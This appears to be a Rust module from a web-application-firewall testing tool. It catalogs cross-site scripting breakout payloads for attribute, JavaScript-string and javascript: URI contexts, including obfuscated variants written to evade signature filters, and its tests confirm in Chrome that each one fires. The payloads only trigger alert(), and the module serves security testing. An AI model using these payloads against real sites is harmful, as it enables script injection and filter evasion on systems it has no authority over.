#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum BreakoutContext {
AttrDouble,
AttrSingle,
JsStringDouble,
JsStringSingle,
UriHref,
}
impl BreakoutContext {
#[must_use]
pub fn label(self) -> &'static str {
match self {
Self::AttrDouble => "attr-double",
Self::AttrSingle => "attr-single",
Self::JsStringDouble => "js-string-double",
Self::JsStringSingle => "js-string-single",
Self::UriHref => "uri-href",
}
}
#[must_use]
pub fn wrap(self, payload: &str) -> String {
match self {
Self::AttrDouble => format!("<input id=\"f\" type=\"text\" value=\"{payload}\">"),
Self::AttrSingle => format!("<input id=\"f\" type=\"text\" value='{payload}'>"),
Self::JsStringDouble => {
format!("<script>\n var t = \"{payload}\";\n window.__t = t;\n</script>")
}
Self::JsStringSingle => {
format!("<script>\n var t = '{payload}';\n window.__t = t;\n</script>")
}
Self::UriHref => format!(
"<a id=\"lnk\" href=\"{payload}\">go</a>\n\
<script>try{{document.getElementById('lnk').click();}}catch(e){{}}</script>"
),
}
}
}
#[derive(Debug, Clone, Copy)]
pub struct BreakoutVector {
pub name: &'static str,
pub context: BreakoutContext,
pub template: &'static str,
}
pub const BREAKOUT_VECTORS: &[BreakoutVector] = &[
BreakoutVector {
name: "attr-dq-autofocus",
context: BreakoutContext::AttrDouble,
template: "\" autofocus onfocus=alert({{M}}) x=\"",
},
BreakoutVector {
name: "attr-sq-autofocus",
context: BreakoutContext::AttrSingle,
template: "' autofocus onfocus=alert({{M}}) x='",
},
BreakoutVector {
name: "js-dq-plain",
context: BreakoutContext::JsStringDouble,
template: "\";alert({{M}})//",
},
BreakoutVector {
name: "js-dq-arith",
context: BreakoutContext::JsStringDouble,
template: "\"-alert({{M}})-\"",
},
BreakoutVector {
name: "js-dq-concat",
context: BreakoutContext::JsStringDouble,
template: "\";window['al'+'ert']({{M}})//",
},
BreakoutVector {
name: "js-dq-fromcharcode",
context: BreakoutContext::JsStringDouble,
template: "\";window[String.fromCharCode(97,108,101,114,116)]({{M}})//",
},
BreakoutVector {
name: "js-dq-scriptbridge",
context: BreakoutContext::JsStringDouble,
template: "</script><svg onload=alert({{M}})>",
},
BreakoutVector {
name: "js-sq-plain",
context: BreakoutContext::JsStringSingle,
template: "';alert({{M}})//",
},
BreakoutVector {
name: "js-sq-concat",
context: BreakoutContext::JsStringSingle,
template: "';window['al'+'ert']({{M}})//",
},
BreakoutVector {
name: "uri-plain",
context: BreakoutContext::UriHref,
template: "javascript:alert({{M}})",
},
BreakoutVector {
name: "uri-concat",
context: BreakoutContext::UriHref,
template: "javascript:window['al'+'ert']({{M}})",
},
];
#[must_use]
pub fn breakout_vectors(marker: &str) -> Vec<String> {
BREAKOUT_VECTORS
.iter()
.map(|v| v.template.replace("{{M}}", marker))
.collect()
}
#[cfg(test)]
mod tests {
use super::*;
use crate::chrome;
#[test]
fn marker_substitution_is_complete() {
let v = breakout_vectors("1");
assert_eq!(v.len(), BREAKOUT_VECTORS.len());
assert!(v.iter().all(|s| !s.contains("{{M}}")), "no placeholder left: {v:?}");
assert!(v.iter().any(|s| s.contains("alert(1)")));
}
#[test]
fn names_are_unique() {
let mut names: Vec<_> = BREAKOUT_VECTORS.iter().map(|v| v.name).collect();
names.sort_unstable();
let before = names.len();
names.dedup();
assert_eq!(before, names.len(), "vector names must be unique");
}
#[test]
fn covers_the_non_body_contexts() {
use BreakoutContext::*;
for ctx in [AttrDouble, AttrSingle, JsStringDouble, JsStringSingle, UriHref] {
assert!(
BREAKOUT_VECTORS.iter().any(|v| v.context == ctx),
"no breakout covers {}",
ctx.label()
);
}
}
#[test]
fn ships_a_signature_evading_js_breakout() {
assert!(
BREAKOUT_VECTORS.iter().any(|v| {
matches!(v.context, BreakoutContext::JsStringDouble | BreakoutContext::JsStringSingle)
&& !v.template.contains("alert(")
}),
"catalog must ship a JS-string breakout with no literal alert( token"
);
}
#[test]
fn wrap_matches_origin_shapes() {
assert!(BreakoutContext::AttrDouble.wrap("X").contains("value=\"X\""));
assert!(BreakoutContext::AttrSingle.wrap("X").contains("value='X'"));
assert!(BreakoutContext::JsStringDouble.wrap("X").contains("var t = \"X\";"));
assert!(BreakoutContext::JsStringSingle.wrap("X").contains("var t = 'X';"));
assert!(BreakoutContext::UriHref.wrap("X").contains("href=\"X\""));
assert!(BreakoutContext::UriHref.wrap("X").contains(".click()"));
}
#[test]
fn every_breakout_fires_in_its_context() {
let Some(c) = chrome::chrome_binary() else {
eprintln!("SKIP: no chrome binary, set WAFRIFT_CHROME_BIN to validate the breakout catalog");
return;
};
let mut failures = Vec::new();
for v in BREAKOUT_VECTORS {
let payload = v.template.replace("{{M}}", "1");
let page = v.context.wrap(&payload);
let p = chrome::detonate_with_binary(&c, &page);
if !(p.executed && p.message.as_deref() == Some("1")) {
failures.push(format!("[{} / {}] {:?} → {p:?}", v.name, v.context.label(), payload));
}
}
assert!(
failures.is_empty(),
"{} context-breakout vector(s) did NOT fire alert(1) in {c}:\n{}",
failures.len(),
failures.join("\n")
);
}
#[test]
fn contained_value_does_not_fire() {
let Some(c) = chrome::chrome_binary() else {
eprintln!("SKIP: no chrome binary");
return;
};
for ctx in [BreakoutContext::AttrDouble, BreakoutContext::JsStringDouble] {
let page = ctx.wrap("harmless onfocus=alert(1) value");
let p = chrome::detonate_with_binary(&c, &page);
assert!(!p.executed, "contained value must not fire in {}: {p:?}", ctx.label());
}
}
}